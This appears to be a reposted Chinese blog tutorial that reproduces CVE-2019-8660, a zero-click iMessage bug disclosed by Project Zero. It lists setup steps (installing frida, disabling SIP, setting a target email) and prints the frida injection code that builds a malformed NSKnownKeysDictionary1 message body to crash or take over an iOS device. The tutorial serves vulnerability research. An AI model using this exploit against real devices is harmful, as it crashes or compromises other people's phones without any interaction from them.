CVE-2019-8660 iMessage 漏洞复现
CVE-2019-8660 iMessage 漏洞復(fù)現(xiàn)
近期谷歌的研究人員披露了 5 個(gè) iOS 中安全漏洞,并公布了 POC(Proof of concept),攻擊者利用這些漏洞可以通過 iMessage 發(fā)送精心設(shè)計(jì)的消息來攻擊 iOS 設(shè)備,這些漏洞不需要和任何用戶交互,只要目標(biāo)機(jī) iMessage 信息接收成功即可觸發(fā)漏洞。
CVE-2019-8660、 CVE-2019-8662、 CVE-2019-8647 這三個(gè)漏洞可以導(dǎo)致系統(tǒng)重啟,或者任意代碼執(zhí)行。
CVE-2019-8646 這個(gè)漏洞可以導(dǎo)致任意文件讀取,比如發(fā)送 iMessage 信息到目標(biāo)機(jī),可以獲取到目標(biāo)機(jī)的照片。
CVE-2019-8641 這個(gè)漏洞由于在最新的 12.4 系統(tǒng)上未修復(fù),所以并未公布具體細(xì)節(jié)。其他 4 個(gè)漏洞已經(jīng)在 12.4 修復(fù)。
復(fù)現(xiàn)漏洞
首先是要復(fù)現(xiàn)漏洞,以 CVE-2019-8660 為例,其他幾個(gè)漏洞的復(fù)現(xiàn)方式類似。在測試之前,請打開 iOS 設(shè)備上的 iMessage 的消息接收,方法是點(diǎn)擊設(shè)置 -> 信息 -> 打開 iMessage 信息開關(guān)。下面是復(fù)現(xiàn)漏洞的具體步驟:
(1) 安裝 python3
brew install python3(2) 安裝 frida
pip3 install frida(3) 下載并解壓 POC,下載地址是: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=398583&signed_aid=aRa647CnzpRUCj7nXIOEKA==
(4) 將 sendMessage.py 里的 receiver 替換成目標(biāo)郵箱地址
#receiver = "YOUR EMAIL" receiver = "exchen99@foxmail.com"(5) 將 injectMessage.js 里的 obj 文件的路徑填寫成你本機(jī)的
//var d = ObjC.classes.NSData.dataWithContentsOfFile_("PATH/obj"); var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");(6) 需要關(guān)閉 SIP (System Integrity Protection,系統(tǒng)完整性保護(hù)),方法是重啟按住 Commond + R 進(jìn)入 recovery 模式,在實(shí)用工具里打開終端,輸入 csrutil disable 即可禁用 SIP,然后重啟進(jìn)入正常模式。測試完漏洞之后別忘記打開 SIP,方法是:進(jìn)入 recovery 模式,輸入 csrutil enable。如果沒有這一步操作,frida 注入進(jìn)程可能會(huì)失敗。
(7) 最后執(zhí)行 sendMessage.py 發(fā)送 iMessage,只要目標(biāo)機(jī)接收到 iMessage 消息即可以觸發(fā)漏洞,并不需要點(diǎn)擊查看。
python3 sendMessage.py觸發(fā)漏洞的目標(biāo)機(jī)重啟之后,打開短信應(yīng)用會(huì)閃退,原因是之前測試的那條帶漏洞的 iMessage 消息還存在,會(huì)被短信應(yīng)用加載,加載錯(cuò)誤就閃退了。解決的方法是給目標(biāo)機(jī)多發(fā)送幾條正常的信息,這樣會(huì)覆蓋掉帶漏洞的短信,然后在搜索欄輸入關(guān)鍵字定位到有問題的短信,刪除即可。
POC 的實(shí)現(xiàn)原理
POC 的實(shí)現(xiàn)原理是使用 AppleScript 調(diào)用 macOS 的信息應(yīng)用對目標(biāo)發(fā)送 iMessage 消息,其中使用 frida 對 jw_encode_dictionary_addr 函數(shù)進(jìn)行 Hook,修改原始的消息體結(jié)構(gòu)。在 injectMessage.js 里有構(gòu)造帶有漏洞的 iMessage 消息體的代碼,核心代碼如下:
console.log(dict); //打印原始正常的消息體 //對正常的消息體進(jìn)行修改,構(gòu)造帶有漏洞的消息體 var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count()); var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj"); console.log(d); //打印obj文件 newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid"); newDict.setObject_forKey_(d, "bp"); //obj文件 // newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");newDict.setObject_forKey_(8, "gv"); newDict.setObject_forKey_(0, "pv"); newDict.setObject_forKey_(1, "v"); newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid"); newDict.setObject_forKey_(d, "bp"); newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r"); newDict.setObject_forKey_(1, "v");newDict.setObject_forKey_("\Ufffd\Ufffc", "t"); args[0] = newDict.handle;替換的 iMessage 消息體會(huì)放入 obj 文件,obj 文件里有一個(gè) NSKnownKeyDictionary1 對象,正是因?yàn)榻馕?NSKnownKeyDictionary1 對象時(shí)引發(fā)問題造成的漏洞的觸發(fā)。
<dict><key>$classes</key><array><string>NSDictionary</string><string>NSObject</string></array><key>$classname</key><string>NSKnownKeysDictionary1</string> </dict> <dict><key>$classes</key><array><string>NSKnownKeysMappingStrategy1</string><string>NSObject</string></array><key>$classname</key><string>NSKnownKeysMappingStrategy1</string> </dict> <string>i am very long indeed</string> <dict>上面的 obj 文件實(shí)際上是 Archive (歸檔)文件, 通過 NSKeyedArchiver 里的方法可以構(gòu)造 Archive 文件,示例如下:
NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&err]; if (!data) {NSLog(@"Error: %@", err);return; } [data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];iMessage 的消息內(nèi)容是在 sendMessage.py,我們可以替換 REPLACEME 發(fā)送自定義的消息
subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]然后在 injectMessage.js 中也需要將 REPLACEME 保持和自定義的消息內(nèi)容一致
if (t == "REPLACEME")參考資料:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1884
https://bugs.chromium.org/p/project-zero/issues/detail?id=1874
https://bugs.chromium.org/p/project-zero/issues/detail?id=1873
https://bugs.chromium.org/p/project-zero/issues/detail?id=1858
Author: exchen
原文地址:https://www.exchen.net/ios-jpg-system-crash.html
總結(jié)
以上是生活随笔為你收集整理的CVE-2019-8660 iMessage 漏洞复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 加载异常图片导致系统重启之迷
- 下一篇: IDA Pro 搜索中文字符串